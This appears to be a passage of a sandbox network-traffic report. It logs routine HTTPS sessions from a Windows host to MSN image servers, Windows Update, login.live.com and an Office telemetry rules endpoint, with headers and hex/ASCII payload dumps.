2024-11-28 07:56:09 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49847	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:12 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:13 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=116951 Expires: Fri, 29 Nov 2024 16:25:24 GMT Date: Thu, 28 Nov 2024 07:56:13 GMT Connection: close
2024-11-28 07:56:13 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49848	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:14 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:14 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=213750 Expires: Sat, 30 Nov 2024 19:18:44 GMT Date: Thu, 28 Nov 2024 07:56:14 GMT Connection: close
2024-11-28 07:56:14 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49849	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:15 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cF6eTsZ8X9Aeegc&MD=sWdb6FL8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 07:56:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 530fedaf-3329-47b9-9301-ac3416a7ef75 MS-RequestId: 7225da27-f254-4987-a539-b75bdc0b4ed8 MS-CV: m/3EqBny6Em0Pl8G.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 07:56:15 GMT Connection: close Content-Length: 30005
2024-11-28 07:56:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-28 07:56:16 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49850	23.44.129.36	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:16 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:56:16 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=81628 Expires: Fri, 29 Nov 2024 06:36:44 GMT Date: Thu, 28 Nov 2024 07:56:16 GMT Connection: close
2024-11-28 07:56:16 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49851	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:19 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 07:56:19 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 07:56:20 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 07:55:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: 605a700e-089c-4671-94c5-feb29601c597 PPServer: PPV: 30 H: BL02EPF0001D956 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 07:56:20 GMT Connection: close Content-Length: 11390
2024-11-28 07:56:20 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:33 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:34 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:34 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075634Z-174f7845968pght8hC1EWRyvxg000000016000000000d22s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:34 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 07:56:34 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 07:56:34 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 07:56:34 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-28 07:56:34 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-28 07:56:34 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 07:56:34 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" 